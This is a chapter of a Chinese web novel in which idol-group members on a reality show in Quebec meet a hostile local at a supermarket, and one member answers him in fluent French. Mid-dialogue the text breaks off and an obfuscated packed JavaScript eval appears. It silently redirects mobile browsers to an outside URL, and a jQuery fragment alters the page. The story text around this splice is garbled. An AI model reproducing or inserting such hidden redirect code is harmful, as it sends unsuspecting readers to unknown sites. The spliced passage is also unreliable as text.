RAY团虽然说有高达一半的本科率，但实际接触过洋人的可以说几乎没有。更何况这次要面对的是法语区的洋人。
出了机场，司机帮他们把行李搬上车尾箱，尺绫抬头望望这片陌生的天空，他上一世没有来过，这一次却真的出国了。尽管他不会抱怨什么。
开到圣诺安娜村，与其说是村，不如说是城镇的边缘，附近就有一个大商场，交通设施也修得很不错，看着窗外的枫树，文州扒着窗口：“哇，这就是国外吗？”
节目组没有请翻译，故意留给了团队里的本科生，提前告知过需要扎实的英语基础。就看哪位大学生能抓住机会了。
但他们忘了尺绫和文州这两个没读完高中的拖后腿分子，都没给他们请一个翻译。一路上，他们和司机都没说话，人生地不熟的，也不知道要把自己送到哪儿去。
尺绫也一直望着窗外，他总是很喜欢看风景，尤其是这种难得一遇的风土人情。
到达民宿后，文州抬头，发出“喔！”地一声。这哪是民宿啊，这简直是别墅。
超大的地基，三层楼房，外观洋气时尚，文州第一次住这么好的。
他们走进去，地毯、沙发、景观窗……一应俱全，豪华得简直不成样子。
尺绫倒没发表意见，只是放下行李，抬头上楼梯看。文州连忙跟上去。
好床位有限，先到先得。文州一下就躺在双人房的超大床垫里，邀请尺绫：“要不要和我一起住在这个房间。”
虽然是很真挚的邀请，这同时也是有私心的，不同于尺绫半个月上两回热搜，文州更需要持续的热度，这最好的选择无疑是炒cp。
尺绫停在门口看看：“我再看看。”
他走上三楼，有一个大的双床房和一个阁楼房。他放下行李，对跟上来的文州说，我就要这个了。
文州瞪大眼，惊讶：“这个这么小。”
九人团，四个双床房，那必定是有一个人要住顶楼了，一个人住不仅代表待遇不好还肯定会少一些镜头。尺绫打开行李箱，掏出沉甸甸的习题卷，“这里比较暗，适合我。”
尺绫有眼病，不习惯强光，虽然这个维度也没多少强光就是了。
文州看到小山高的试卷：“你该不会在Q市也要……”
尺绫没抬头：“要的。一天两套。”
【尺皇好装啊，拍团综这么忙，我就不信他真的能做到一天两套】
【有必要吗……难道他真的要考市一中】
【这算不算对待工作不认真。我来是看男团的，不是看复习的】
尺绫叠好试卷，把行李箱放到角落，试了一下正对阁楼窗的台灯。光源还算合适。他今天已经做了很多套题目了，几乎每科都涉及到，纸质的就先不做了。
文州困困的先去睡觉了，天快黑的时候，其他成员也陆续到达。人齐之后，就正式开始拍摄了。
首先要解决的是晚饭问题。节目组只给了他们钱，没安排餐厅。他们互相看着，刚来第一天，人生地不熟的，统一决定自己做饭。
附近就是大超市，节目组给他们配了两辆车，黎修和卓云山充当司机。这也算匹配，毕竟排名第一的卓云山是当之无愧的队长，细心年纪大的黎修竞选了副队长，大家都没有意见。
抵达超市后，他们兵分三路，一路去买食材，一路去买日用，还有一路买调料。
尺绫被分配到买日用那块，和他待在一起的有睿3文州、睿4黎修。
他们推着一个小推车，在超大的货仓式购物商场里走。所有物品都整整齐齐码在货架上面，让强迫症看了很舒服。
他们拐过一排货架，尺绫走在最后面，文州在旁边拿着手机拍vlog素材，黎修走在最前面。货架尽头是一排放日常用品的区域，黎修对照着之前写下的购物清单，看到了放在底下的大包式纸巾，他弯腰抽出来一沓。
一个穿深蓝色冲锋衣的当地男人走过来，个子比他高出一个头，肩膀很宽。他的目光从黎修脸上扫到那沓纸巾上，当黎修转身的时候，他伸出手，直接把纸巾从黎修手里抽走了。
黎修愣住了：“喂！—— I got it first.”
那个男人看了他一眼，语气很平：“J’tais là avant toi”（我比你先到。）
黎修没听懂，但对方的肢体语言他是看得懂的：纸巾已经被放进对方的购物车里了。黎修皱了皱眉，上前一步，用英语又重复了一遍：“Sorry I came first. I took it before you came.”（不好意思我先到的，我比你更早碰到它）
那个男人眯了一下眼，像是被这句英语激起了某种不耐烦，扫了一眼黎修和他身后的人，然后轻蔑地一句：“Ma famille est icitte depuis trois cents ans.”（我家三百年前就来这里了。）
黎修理所当然没听懂，对方见这样，得寸进尺地一笑：“T’es perdu ou quoi? Magasin de souvenirs, c’est à c?té.”（迷路了？纪念品商店在隔壁。）
黎修听不懂，但他觉得肯定不是什么好话。他攥紧了购物车的把手，喉结动了一下，声音压低了一些：“I just want the paperl. ”
对方像是听到了什么好笑的话，侧了一下头，看了黎修两秒，然后开口说了一句，声音不大，但在安静的货架之间清清楚楚：“Même pas capable de parler fran?ais, pis tu veux acheter du stock du Québec ?”（连法语都不会说，还想买这里的东西？）
黎修脸色微微变了，嘴唇抿成了一条线。他张了张嘴，想说些什么，但法语不会，说英文人家还蔑视你来。
一片安静里，尺绫的声音从黎修身后传过来：“Excusez-moi, avez-vous terminé votre numéro ? Nous avons tous des caméras qui enregistrent.”（不好意思，你表演完了吗我们都有摄像机录着。）
那个男人的眉头皱了一下：“T’as dit quoi ?”（你说什么？）
尺绫站前了两步，表情很平静，像是刚刚路过随口接了一句话。法语从嘴里出来的时候，流利得像在说母语：“Vos gestes et vos paroles viennent d'être enregistrés par les caméras. Si vous ne partez pas tout de suite, cette vidéo sera diffusée dans le monde entier. ”（刚刚你的动作和话语摄像机全部都录下来了，你再不走，这段视频就会在全世界播放。）
“TouYube ? Tmit
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17949076|214116||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
ter ? Vous aimeriez bien nous accorder les droits sur votre image, n'est-ce pas ?”（由管？蓝鸟？你很想把肖像授权给我们是吗？）
那个男人此时已经咬紧牙关了，他看了一眼人群身后的摄像机，摄影师正直直地对准他们俩，他又上下扫量尺绫一眼——比他矮，比他年轻，看着像未成年，法语用得虽然有点僵硬，但咬字比他见过的绝大多数游客都准。他张了张嘴，还没反呛，尺绫便又说。
“Nous serions ravis que vous nous fournissiez du contenu pour l'émission, hein ?”（我们很乐意你给节目提供素材哦。）
文州在后面已经听傻了。他一个字都没听懂，但他听得见尺绫的语气，快的、轻的、每一个停顿都像是故意的，简直像机关枪一样呛得男人说不出口。黎修站在原地，购物车的把手还在手里，他看着尺绫的侧脸，表情从僵住变成了某种更复杂的东西。
那个男人沉默了两秒。然后他伸手，把购物车里的纸巾拿了出来，往黎修的方向推了一下，动作很硬，像是在扔一件他已经不想要的东西。
尺绫没有看他，弯腰，从那沓纸巾的旁边抽出另外一沓新的，看了一眼，放进了购物车里：“Excusez-moi, mais nous ne voulons plus de ce que vous avez touché, ?a sent le fauve.”（抱歉，您碰过的东西我们不要了，一股骚味。）
【我靠，爽】
【虽然一个字都听不懂但看着对方脸上的马赛克一阵青一阵白就很爽】
【尺皇好厉害！！！】
【虽然之前就说过尺皇会一点法语了，但没想到居然这么流利，简直跟母语一样。】
尺绫推着小推车走开，ayi此时冒出来：
【宿主，你的法语好厉害】
“谢谢。”尺绫回。
短暂的风波暂时结束了。文州和黎修还出于一种心神未定的状态。一个是刚出来就遭遇本地人的骚扰的惊吓，另一个是尺绫突然出头带给他们的不习惯。
尺绫对黎修轻声地讲一句：“不好意思。”
黎修立马摆摆手：“不是不是。”
他原本没想要出头的，因为一旦出头，就会抢了黎修的镜头，但后面看他实在搞不定，才上前一步。
黎修清了清嗓子，想到刚刚自己的表现，有一些不如他人的尴尬。很快，他们就调整好心态，继续逛商场。
陆续买完清单上的东西后，他们去结账。结账时还有一个本地老奶奶教他们怎么注册软件买单。文州感叹，世界上也不是所有人是坏人的。尺绫拨弄着软件在旁边应一句：“本来就是这样。”
他们这次买了68枫币也就是三百多块钱。他们提着塑料袋子出去，逐袋装车。这个时候的天已经非常昏黑了，连人脸都有些看不清。
等了一会儿后，两辆车同时出发，一起回别墅。
开车路上，开车的卓云山转动着方向盘，探探头看路况，说道：“我们今晚要不要去一下酒吧。”
车内还在思考怎么应答的时候，后排突然冒出冷不丁的一句：“好啊。”
众人纷纷震惊地把目光投向声源处。尺绫正挤在两个人的中间，默默地坐着。
谁说的好啊？是他！？